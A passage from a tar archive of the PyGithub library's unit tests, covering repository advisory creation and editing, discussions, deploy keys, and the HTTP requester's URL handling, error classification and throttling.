self.g.get_repo("JLLeitschuh/code-sandbox") advisory = repo.create_repository_advisory( "A test creating a GHSA via the API", "This is a detailed description of this advisories impact and patches.", "high", "CVE-2000-00000", vulnerabilities=[ { "package": {"ecosystem": "npm", "name": "b-package"}, "vulnerable_version_range": "<=4.0.4", "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], } ], cwe_ids=["CWE-401", "CWE-502"], credits=[ {"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}, ], ) self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") self.assertEqual(advisory.summary, "A test creating a GHSA via the API") self.assertEqual( advisory.description, "This is a detailed description of this advisories impact and patches.", ) self.assertEqual(advisory.severity, "high") self.assertEqual(advisory.cve_id, "CVE-2000-00000") self.assertListKeyEqual( advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], ) self.assertListKeyEqual( advisory.cwe_ids, lambda e: e, ["CWE-401", "CWE-502"], ) self.assertListKeyEqual( advisory.credits_detailed, lambda e: (e.user.login, e.type), [("octocat", "analyst"), ("JLLeitschuh", "reporter")], ) def testUpdateRepositoryAdvisory(self): repo = self.g.get_repo("JLLeitschuh/code-sandbox") advisory = repo.get_repository_advisory("GHSA-g45c-2crh-4xmp") advisory.edit( summary="A test updating a GHSA via the API", description="This is an updated detailed description of this advisories impact and patches.", severity_or_cvss_vector_string="low", cve_id="CVE-2000-00001", vulnerabilities=[ { "package": {"ecosystem": "npm", "name": "c-package"}, "vulnerable_version_range": "<=4.0.6", "patched_versions": "4.0.7", "vulnerable_functions": ["function-name-a"], } ], cwe_ids=["CWE-402", "CWE-500"], credits=[ {"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}, ], ) self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") self.assertEqual(advisory.summary, "A test updating a GHSA via the API") self.assertEqual( advisory.description, "This is an updated detailed description of this advisories impact and patches.", ) self.assertEqual(advisory.severity, "low") self.assertEqual(advisory.cve_id, "CVE-2000-00001") self.assertListKeyEqual( advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("npm", "c-package"), "4.0.7", ["function-name-a"], "<=4.0.6")], ) self.assertListKeyEqual( advisory.cwe_ids, lambda e: e, ["CWE-402", "CWE-500"], ) self.assertListKeyEqual( advisory.credits_detailed, lambda e: (e.user.login, e.type), [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], ) def testUpdateSingleFieldDoesNotRemoveOtherFields(self): repo = self.g.get_repo("JLLeitschuh/code-sandbox") advisory = repo.create_repository_advisory( "A test editing a GHSA via the API with only a single manipulation", "This is a detailed description of this advisories impact and patches.", "high", "CVE-2000-00000", vulnerabilities=[ { "package": {"ecosystem": "npm", "name": "b-package"}, "vulnerable_version_range": "<=4.0.4", "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], } ], cwe_ids=["CWE-401", "CWE-502"], credits=[ {"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}, ], ) advisory.edit(description="A modified description") self.assertEqual(advisory.ghsa_id, "GHSA-4wwp-8jp9-9233") self.assertEqual( advisory.summary, "A test editing a GHSA via the API with only a single manipulation", ) self.assertEqual(advisory.description, "A modified description") self.assertEqual(advisory.severity, "high") self.assertEqual(advisory.cve_id, "CVE-2000-00000") self.assertListKeyEqual( advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], ) self.assertListKeyEqual( advisory.cwe_ids, lambda e: e, ["CWE-401", "CWE-502"], ) self.assertListKeyEqual( advisory.credits_detailed, lambda e: (e.user.login, e.type), [("octocat", "analyst"), ("JLLeitschuh", "reporter")], ) def testAddVulnerability(self): repo = self.g.get_repo("JLLeitschuh/code-sandbox") advisory = repo.create_repository_advisory( summary="A test creating a GHSA via the API adding and removing vulnerabilities", description="Simple description", severity_or_cvss_vector_string="low", ) advisory.add_vulnerability(ecosystem="maven") self.assertListKeyEqual( advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("maven", None), None, [], None)], ) advisory.add_vulnerability( ecosystem="npm", package_name="b-package", vulnerable_version_range="<=4.0.9", patched_versions="4.0.10", vulnerable_functions=["function-name-c"], ) self.assertListKeyEqual( advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [ (("maven", None), None, [], None), (("npm", "b-package"), "4.0.10", ["function-name-c"], "<=4.0.9"), ], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RepositoryDiscussion.py0000644000175100001660000002676714756101563020747 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class RepositoryDiscussion(Framework.TestCase): discussion_schema = """ answer { author { login } body bodyHTML bodyText createdAt databaseId discussion { id } editor { login } id lastEditedAt updatedAt url } author { login } body bodyHTML bodyText category { createdAt description emoji emojiHTML id isAnswerable name repository { owner { login } name } slug updatedAt } comments(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id } } createdAt databaseId editor { login } id labels(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id name } } lastEditedAt number reactions(first: 10) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes { id } } repository { owner { login } name } title updatedAt url """ def setUp(self): super().setUp() self.discussion = self.g.get_repository_discussion("D_kwDOADYVqs4AaHoG", self.discussion_schema) def testAttributes(self): self.assertEqual(self.discussion.answer.author.login, "dawngerpony") self.assertEqual( self.discussion.answer.body, """[This comment](https://github.com/PyGithub/PyGithub/issues/2895#issue-2118964108) contains the answer to your question:\r\n\r\n```python\r\nmy_repo.raw_data["custom_properties"]\r\n```\r\n\r\n#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.""", ) self.assertEqual( self.discussion.answer.body_html, """

This comment contains the answer to your question:

\n
my_repo.raw_data["custom_properties"]
\n

#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.

""", ) self.assertEqual( self.discussion.answer.body_text, "This comment contains the answer to your question:\nmy_repo.raw_data[\"custom_properties\"]\n#2968 appears to add proper support for custom properties, but doesn't look like it's made it into a release yet.", ) self.assertEqual(self.discussion.answer.created_at, datetime(2024, 8, 23, 6, 36, 50, tzinfo=timezone.utc)) self.assertEqual(self.discussion.answer.database_id, 10426644) self.assertEqual(self.discussion.answer.discussion.node_id, "D_kwDOADYVqs4AaHoG") self.assertIsNone(self.discussion.answer.editor) self.assertEqual(self.discussion.answer.node_id, "DC_kwDOADYVqs4AnxkU") self.assertIsNone(self.discussion.answer.last_edited_at) self.assertEqual(self.discussion.answer.updated_at, datetime(2024, 8, 23, 6, 36, 51, tzinfo=timezone.utc)) self.assertEqual( self.discussion.answer.html_url, "https://github.com/PyGithub/PyGithub/discussions/2993#discussioncomment-10426644", ) self.assertEqual(self.discussion.author.login, "heitorPB") self.assertEqual( self.discussion.body, """What is the equivalent of `https://api.github.com/repos/OWNER/REPO/properties/values`? I'm interested in getting/setting custom properties for my repos. I can do that with `curl`, but couldn't find a way to do it via this project.\r\n\r\nDocs here: [Get all custom property values for a repository](https://docs.github.com/en/rest/repos/custom-properties?apiVersion=2022-11-28#get-all-custom-property-values-for-a-repository).""", ) self.assertEqual( self.discussion.body_html, """

What is the equivalent of https://api.github.com/repos/OWNER/REPO/properties/values? I'm interested in getting/setting custom properties for my repos. I can do that with curl, but couldn't find a way to do it via this project.

\n

Docs here: Get all custom property values for a repository.

""", ) self.assertEqual( self.discussion.body_text, """What is the equivalent of https://api.github.com/repos/OWNER/REPO/properties/values? I'm interested in getting/setting custom properties for my repos. I can do that with curl, but couldn't find a way to do it via this project.\nDocs here: Get all custom property values for a repository.""", ) self.assertEqual(self.discussion.category.created_at, datetime(2020, 12, 8, 23, 29, 13, tzinfo=timezone.utc)) self.assertEqual(self.discussion.category.description, "Ask the community for help") self.assertEqual(self.discussion.category.emoji, ":pray:") self.assertEqual(self.discussion.category.emoji_html, "
🙏
") self.assertEqual(self.discussion.category.id, "MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYx") self.assertEqual(self.discussion.category.is_answerable, True) self.assertEqual(self.discussion.category.name, "Q&A") self.assertEqual(self.discussion.category.repository.owner.login, "PyGithub") self.assertEqual(self.discussion.category.repository.name, "PyGithub") self.assertEqual(self.discussion.category.slug, "q-a") self.assertEqual(self.discussion.category.updated_at, datetime(2020, 12, 8, 23, 29, 13, tzinfo=timezone.utc)) self.assertEqual(self.discussion.created_at, datetime(2024, 6, 21, 13, 11, 38, tzinfo=timezone.utc)) self.assertEqual(self.discussion.database_id, 6846982) self.assertIsNone(self.discussion.editor) self.assertEqual(self.discussion.node_id, "D_kwDOADYVqs4AaHoG") self.assertIsNone(self.discussion.last_edited_at) self.assertEqual(self.discussion.number, 2993) self.assertEqual(self.discussion.repository.owner.login, "PyGithub") self.assertEqual(self.discussion.repository.name, "PyGithub") self.assertEqual(self.discussion.title, "How to get a list of custom repository properties?") self.assertEqual(self.discussion.updated_at, datetime(2024, 8, 29, 16, 1, 0, tzinfo=timezone.utc)) self.assertListEqual( [c.node_id for c in self.discussion.get_comments("id")], ["DC_kwDOADYVqs4AnxkU", "DC_kwDOADYVqs4AoA2V"] ) self.assertEqual(self.discussion.get_labels().totalCount, 0) self.assertEqual(self.discussion.get_reactions().totalCount, 0) def testGetComments(self): discussion = self.g.get_repository_discussion("D_kwDOADYVqs4AaHoG", "id") comments_pages = discussion.get_comments("id") comments = list(comments_pages) self.assertEqual(comments_pages.totalCount, 2) self.assertEqual(len(comments), 2) self.assertListEqual([c.id for c in comments], ["DC_kwDOADYVqs4AnxkU", "DC_kwDOADYVqs4AoA2V"]) def testGetCommentsWithoutNodeId(self): discussion = self.g.get_repository_discussion("D_kwDOADYVqs4AaHoG", "title") with self.assertRaises(RuntimeError) as e: discussion.get_comments("id") self.assertEqual(e.exception.args, ("Retrieving discussion comments requires the discussion field 'id'",)) def testAddAndDeleteComment(self): discussion = self.g.get_repository_discussion("D_kwDOADYVqs4AaHoG", "id") comment = discussion.add_comment("test comment", output_schema="id body") self.assertEqual(comment.id, "DC_kwDOADYVqs4AovYk") self.assertEqual(comment.body, "test comment") reply = discussion.add_comment("test reply", reply_to=comment, output_schema="id body") self.assertEqual(reply.id, "DC_kwDOADYVqs4AovYl") self.assertEqual(reply.body, "test reply") reply_by_id_str = discussion.add_comment( "test reply by string id", reply_to=comment.id, output_schema="id body" ) self.assertEqual(reply_by_id_str.id, "DC_kwDOADYVqs4AovYm") self.assertEqual(reply_by_id_str.body, "test reply by string id") # cleanup that discussion # replies have to be deleted first to be able to fully delete a comment self.assertEqual(reply_by_id_str.delete().id, "DC_kwDOADYVqs4AovYm") self.assertEqual(reply.delete().id, "DC_kwDOADYVqs4AovYl") self.assertEqual(comment.delete().id, "DC_kwDOADYVqs4AovYk") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RepositoryKey.py0000644000175100001660000001262414756101563017337 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Ramiro Morales # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class RepositoryKey(Framework.TestCase): def setUp(self): super().setUp() # When recording test, be sure to create a deploy key for yourself on # Github and update it here. repo = self.g.get_user("lra").get_repo("mackup") self.key = repo.get_key(21870881) self.yet_unused_key = repo.get_key(98051552) def testAttributes(self): self.assertEqual(self.key.added_by, "key-admin-user") self.assertEqual(self.key.created_at, datetime(2017, 2, 22, 8, 16, 23, tzinfo=timezone.utc)) self.assertEqual(self.key.id, 21870881) self.assertEqual( self.key.key, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLOoLSVPwG1OSgVSeEXNbfIofYdxR5zs3u4PryhnamfFPYwi2vZW3ZxeI1oRcDh2VEdwGvlN5VUduKJNoOWMVzV2jSyR8CeDHH+I0soQCC7kfJVodU96HcPMzZ6MuVwSfD4BFGvKMXyCnBUqzo28BGHFwVQG8Ya9gL6/cTbuWywgM4xaJgMHv1OVcESXBtBkrqOneTJuOgeEmP0RfUnIAK/3/wbg9mfiBq7JV4cmWAg1xNE8GJoAbci59Tdx1dQgVuuqdQGk5jzNusOVneyMtGEB+p7UpPLJsGBW29rsMt7ITUbXM/kl9v11vPtWb+oOUThoFsDYmsWy7fGGP9YAFB", ) self.assertEqual(self.key.last_used, datetime(2024, 4, 13, 10, 0, 21, tzinfo=timezone.utc)) self.assertEqual(self.key.read_only, True) self.assertEqual(self.key.title, "PyGithub Test Key") self.assertEqual(self.key.url, "https://api.github.com/repos/lra/mackup/keys/21870881") self.assertEqual( self.key.created_at, datetime(2017, 2, 22, 8, 16, 23, tzinfo=timezone.utc), ) self.assertTrue(self.key.verified) self.assertTrue(self.key.read_only) self.assertEqual(repr(self.key), 'RepositoryKey(title="PyGithub Test Key", id=21870881)') self.assertEqual(self.key.added_by, "key-admin-user") self.assertEqual( self.key.last_used, datetime(2024, 4, 13, 10, 0, 21, tzinfo=timezone.utc), ) def testYetUnusedKey(self): self.assertEqual(self.yet_unused_key.id, 98051552) self.assertEqual( self.yet_unused_key.key, "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOXEPB9eqJ2DwZepFxrPwCDczIReVeWOOt3NMs8KOn3h", ) self.assertEqual(self.yet_unused_key.last_used, None) def testDelete(self): self.key.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Requester.py0000644000175100001660000005275114756101563016473 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Hemslo Wang # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # Copyright 2025 Timothy Klopotoski # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import contextlib from datetime import datetime, timedelta, timezone from unittest import mock import github from github import Requester as gr from . import Framework from .GithubIntegration import APP_ID, PRIVATE_KEY REPO_NAME = "PyGithub/PyGithub" class Requester(Framework.TestCase): logger = None def setUp(self): super().setUp() self.logger = mock.MagicMock() github.Requester.Requester.injectLogger(self.logger) def tearDown(self): github.Requester.Requester.resetLogger() super().tearDown() def testRecreation(self): class TestAuth(github.Auth.AppAuth): pass # create a Requester with non-default arguments auth = TestAuth(123, "key") requester = github.Requester.Requester( auth=auth, base_url="https://base.url", timeout=1, user_agent="user agent", per_page=123, verify=False, retry=3, pool_size=5, seconds_between_requests=1.2, seconds_between_writes=3.4, # v3: this should not be the default value, so if this has been changed in v3, # change it here is well lazy=True, ) kwargs = requester.kwargs # assert kwargs consists of ALL constructor arguments self.assertEqual(kwargs.keys(), github.Requester.Requester.__init__.__annotations__.keys()) self.assertEqual( kwargs, dict( auth=auth, base_url="https://base.url", timeout=1, user_agent="user agent", per_page=123, verify=False, retry=3, pool_size=5, seconds_between_requests=1.2, seconds_between_writes=3.4, lazy=True, ), ) # create a copy Requester, assert identity via kwargs copy = github.Requester.Requester(**kwargs) self.assertEqual(copy.kwargs, kwargs) # create Github instance, assert identity requester gh = github.Github(**kwargs) self.assertEqual(gh._Github__requester.kwargs, kwargs) # create GithubIntegration instance, assert identity requester gi = github.GithubIntegration(**kwargs) self.assertEqual(gi._GithubIntegration__requester.kwargs, kwargs) def testWithAuth(self): class TestAuth(github.Auth.AppAuth): pass # create a Requester with non-default arguments auth = TestAuth(123, "key") requester = github.Requester.Requester( auth=auth, base_url="https://base.url", timeout=1, user_agent="user agent", per_page=123, verify=False, retry=3, pool_size=5, seconds_between_requests=1.2, seconds_between_writes=3.4, # v3: this should not be the default value, so if this has been changed in v3, # change it here is well lazy=True, ) # create a copy with different auth auth2 = TestAuth(456, "key2") copy = requester.withAuth(auth2) # assert kwargs of copy self.assertEqual( copy.kwargs, dict( auth=auth2, base_url="https://base.url", timeout=1, user_agent="user agent", per_page=123, verify=False, retry=3, pool_size=5, seconds_between_requests=1.2, seconds_between_writes=3.4, lazy=True, ), ) def testGetParametersOfUrl(self): self.assertEqual({}, gr.Requester.get_parameters_of_url("https://github.com/api")) self.assertEqual({"per_page": ["10"]}, gr.Requester.get_parameters_of_url("https://github.com/api?per_page=10")) self.assertEqual( {"per_page": ["10"], "page": ["2"]}, gr.Requester.get_parameters_of_url("https://github.com/api?per_page=10&page=2"), ) self.assertEqual( {"item": ["1", "2", "3"]}, gr.Requester.get_parameters_of_url("https://github.com/api?item=1&item=2&item=3") ) def testAddParametersToUrl(self): self.assertEqual("https://github.com/api", gr.Requester.add_parameters_to_url("https://github.com/api", {})) self.assertEqual( "https://github.com/api?per_page=10", gr.Requester.add_parameters_to_url("https://github.com/api", {"per_page": 10}), ) self.assertEqual( "https://github.com/api?per_page=10&page=2", gr.Requester.add_parameters_to_url("https://github.com/api", {"per_page": 10, "page": 2}), ) self.assertEqual( "https://github.com/api?per_page=10&page=2", gr.Requester.add_parameters_to_url("https://github.com/api?per_page=10", {"page": 2}), ) self.assertEqual( "https://github.com/api?per_page=10&page=2", gr.Requester.add_parameters_to_url("https://github.com/api?per_page=10&page=1", {"page": 2}), ) self.assertEqual( "https://github.com/api?item=3&item=4", gr.Requester.add_parameters_to_url("https://github.com/api?item=1&item=2&item=3", {"item": [3, 4]}), ) def testCloseGithub(self): mocked_connection = mock.MagicMock() mocked_custom_connection = mock.MagicMock() with github.Github() as gh: requester = gh._Github__requester requester._Requester__connection = mocked_connection requester._Requester__custom_connections.append(mocked_custom_connection) mocked_connection.close.assert_called_once_with() mocked_custom_connection.close.assert_called_once_with() self.assertIsNone(requester._Requester__connection) def testCloseGithubIntegration(self): mocked_connection = mock.MagicMock() mocked_custom_connection = mock.MagicMock() auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) with github.GithubIntegration(auth=auth) as gi: requester = gi._GithubIntegration__requester requester._Requester__connection = mocked_connection requester._Requester__custom_connections.append(mocked_custom_connection) mocked_connection.close.assert_called_once_with() mocked_custom_connection.close.assert_called_once_with() self.assertIsNone(requester._Requester__connection) def testLoggingRedirection(self): self.assertEqual(self.g.get_repo("EnricoMi/test").name, "test-renamed") self.logger.info.assert_called_once_with( "Following Github server redirection from /repos/EnricoMi/test to /repositories/638123443" ) def testBaseUrlSchemeRedirection(self): gh = github.Github(base_url="http://api.github.com") with self.assertRaises(RuntimeError) as exc: gh.get_repo("PyGithub/PyGithub") self.assertEqual( exc.exception.args, ( "Github server redirected from http protocol to https, please correct your " "Github server URL via base_url: Github(base_url=...)", ), ) def testBaseUrlHostRedirection(self): gh = github.Github(base_url="https://www.github.com") with self.assertRaises(RuntimeError) as exc: gh.get_repo("PyGithub/PyGithub") self.assertEqual( exc.exception.args, ( "Github server redirected from host www.github.com to github.com, " "please correct your Github server URL via base_url: Github(base_url=...)", ), ) def testBaseUrlPortRedirection(self): # replay data forged gh = github.Github(base_url="https://api.github.com") with self.assertRaises(RuntimeError) as exc: gh.get_repo("PyGithub/PyGithub") self.assertEqual( exc.exception.args, ( "Requested https://api.github.com/repos/PyGithub/PyGithub but server " "redirected to https://api.github.com:443/repos/PyGithub/PyGithub, " "you may need to correct your Github server URL " "via base_url: Github(base_url=...)", ), ) def testBaseUrlPrefixRedirection(self): # replay data forged gh = github.Github(base_url="https://api.github.com/api/v3") self.assertEqual(gh.get_repo("PyGithub/PyGithub").name, "PyGithub") self.logger.info.assert_called_once_with( "Following Github server redirection from /api/v3/repos/PyGithub/PyGithub to /repos/PyGithub/PyGithub" ) PrimaryRateLimitErrors = [ "API rate limit exceeded for x.x.x.x. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)", ] SecondaryRateLimitErrors = [ "You have triggered an abuse detection mechanism. Please wait a few minutes before you try again.", "You have triggered an abuse detection mechanism and have been temporarily blocked from content creation. Please retry your request again later." "You have exceeded a secondary rate limit and have been temporarily blocked from content creation. Please retry your request again later.", "You have exceeded a secondary rate limit. Please wait a few minutes before you try again.", "Something else here. Please wait a few minutes before you try again.", ] OtherErrors = ["User does not exist or is not a member of the organization"] def testIsRateLimitError(self): for message in self.PrimaryRateLimitErrors + self.SecondaryRateLimitErrors: self.assertTrue(github.Requester.Requester.isRateLimitError(message), message) for message in self.OtherErrors: self.assertFalse(github.Requester.Requester.isRateLimitError(message), message) def testIsPrimaryRateLimitError(self): for message in self.PrimaryRateLimitErrors: self.assertTrue(github.Requester.Requester.isPrimaryRateLimitError(message), message) for message in self.OtherErrors + self.SecondaryRateLimitErrors: self.assertFalse(github.Requester.Requester.isPrimaryRateLimitError(message), message) def testIsSecondaryRateLimitError(self): for message in self.SecondaryRateLimitErrors: self.assertTrue(github.Requester.Requester.isSecondaryRateLimitError(message), message) for message in self.OtherErrors + self.PrimaryRateLimitErrors: self.assertFalse(github.Requester.Requester.isSecondaryRateLimitError(message), message) def assertException(self, exception, exception_type, message, status, data, headers, string): self.assertIsInstance(exception, exception_type) if message is None: self.assertIsNone(exception.message) else: self.assertEqual(exception.message, message) self.assertEqual(exception.status, status) if data is None: self.assertIsNone(exception.data) else: self.assertEqual(exception.data, data) self.assertEqual(exception.headers, headers) self.assertEqual(str(exception), string) def testShouldCreateBadCredentialsException(self): exc = self.g._Github__requester.createException(401, {"header": "value"}, {"message": "Bad credentials"}) self.assertException( exc, github.BadCredentialsException, None, 401, {"message": "Bad credentials"}, {"header": "value"}, '401 {"message": "Bad credentials"}', ) def testShouldCreateTwoFactorException(self): exc = self.g._Github__requester.createException( 401, {"x-github-otp": "required; app"}, { "message": "Must specify two-factor authentication OTP code.", "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication", }, ) self.assertException( exc, github.TwoFactorException, None, 401, { "message": "Must specify two-factor authentication OTP code.", "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication", }, {"x-github-otp": "required; app"}, '401 {"message": "Must specify two-factor authentication OTP code.", "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication"}', ) def testShouldCreateBadUserAgentException(self): exc = self.g._Github__requester.createException( 403, {"header": "value"}, {"message": "Missing or invalid User Agent string"}, ) self.assertException( exc, github.BadUserAgentException, None, 403, {"message": "Missing or invalid User Agent string"}, {"header": "value"}, '403 {"message": "Missing or invalid User Agent string"}', ) def testShouldCreateRateLimitExceededException(self): for message in self.PrimaryRateLimitErrors + self.SecondaryRateLimitErrors: with self.subTest(message=message): exc = self.g._Github__requester.createException(403, {"header": "value"}, {"message": message}) self.assertException( exc, github.RateLimitExceededException, None, 403, {"message": message}, {"header": "value"}, f'403 {{"message": "{message}"}}', ) def testShouldCreateUnknownObjectException(self): exc = self.g._Github__requester.createException(404, {"header": "value"}, {"message": "Not Found"}) self.assertException( exc, github.UnknownObjectException, None, 404, {"message": "Not Found"}, {"header": "value"}, '404 {"message": "Not Found"}', ) def testShouldCreateUnknownObjectException2(self): exc = self.g._Github__requester.createException( 404, {"header": "value"}, {"message": "No object found for the path some-nonexistent-file"} ) self.assertException( exc, github.UnknownObjectException, None, 404, {"message": "No object found for the path some-nonexistent-file"}, {"header": "value"}, '404 {"message": "No object found for the path some-nonexistent-file"}', ) def testShouldCreateGithubException(self): for status in range(400, 600): with self.subTest(status=status): exc = self.g._Github__requester.createException( status, {"header": "value"}, {"message": "Something unknown"} ) self.assertException( exc, github.GithubException, "Something unknown", status, {"message": "Something unknown"}, {"header": "value"}, f'Something unknown: {status} {{"message": "Something unknown"}}', ) def testShouldCreateExceptionWithoutMessage(self): for status in range(400, 600): with self.subTest(status=status): exc = self.g._Github__requester.createException(status, {}, {}) self.assertException(exc, github.GithubException, None, status, {}, {}, f"{status} {{}}") def testShouldCreateExceptionWithoutOutput(self): for status in range(400, 600): with self.subTest(status=status): exc = self.g._Github__requester.createException(status, {}, None) self.assertException(exc, github.GithubException, None, status, None, {}, f"{status}") class RequesterThrottleTestCase(Framework.TestCase): per_page = 10 mock_time = [datetime.now(timezone.utc)] def sleep(self, seconds): self.mock_time[0] = self.mock_time[0] + timedelta(seconds=seconds) def now(self, tz=None): return self.mock_time[0] @contextlib.contextmanager def mock_sleep(self): with mock.patch("github.Requester.time.sleep", side_effect=self.sleep) as sleep_mock, mock.patch( "github.Requester.datetime" ) as datetime_mock: datetime_mock.now = self.now yield sleep_mock class RequesterUnThrottled(RequesterThrottleTestCase): def testShouldNotDeferRequests(self): with self.mock_sleep() as sleep_mock: # same test setup as in RequesterThrottled.testShouldDeferRequests repository = self.g.get_repo(REPO_NAME) releases = list(repository.get_releases()) self.assertEqual(len(releases), 30) sleep_mock.assert_not_called() class RequesterThrottled(RequesterThrottleTestCase): seconds_between_requests = 1.0 seconds_between_writes = 3.0 def testShouldDeferRequests(self): with self.mock_sleep() as sleep_mock: # same test setup as in RequesterUnThrottled.testShouldNotDeferRequests repository = self.g.get_repo(REPO_NAME) releases = [release for release in repository.get_releases()] self.assertEqual(len(releases), 30) self.assertEqual(sleep_mock.call_args_list, [mock.call(1), mock.call(1), mock.call(1)]) def testShouldDeferWrites(self): with self.mock_sleep() as sleep_mock: # same test setup as in AuthenticatedUser.testEmail user = self.g.get_user() emails = user.get_emails() self.assertEqual( [item.email for item in emails], ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], ) self.assertTrue(emails[0].primary) self.assertTrue(emails[0].verified) self.assertEqual(emails[0].visibility, "private") user.add_to_emails("1@foobar.com", "2@foobar.com") self.assertEqual( [item.email for item in user.get_emails()], [ "vincent@vincent-jacques.net", "1@foobar.com", "2@foobar.com", "github.com@vincent-jacques.net", ], ) user.remove_from_emails("1@foobar.com", "2@foobar.com") self.assertEqual( [item.email for item in user.get_emails()], ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], ) self.assertEqual( sleep_mock.call_args_list, [ # g.get_user() does not call into GitHub API # user.get_emails() is the first request so no waiting needed # user.add_to_emails is a write request, this is the first write request mock.call(1), # user.get_emails() is a read request mock.call(1), # user.remove_from_emails is a write request, it has to be 3 seconds after the last write mock.call(2), # user.get_emails() is a read request mock.call(1), ], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RequiredPullRequestReviews.py0000644000175100001660000001167514756101563022047 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec 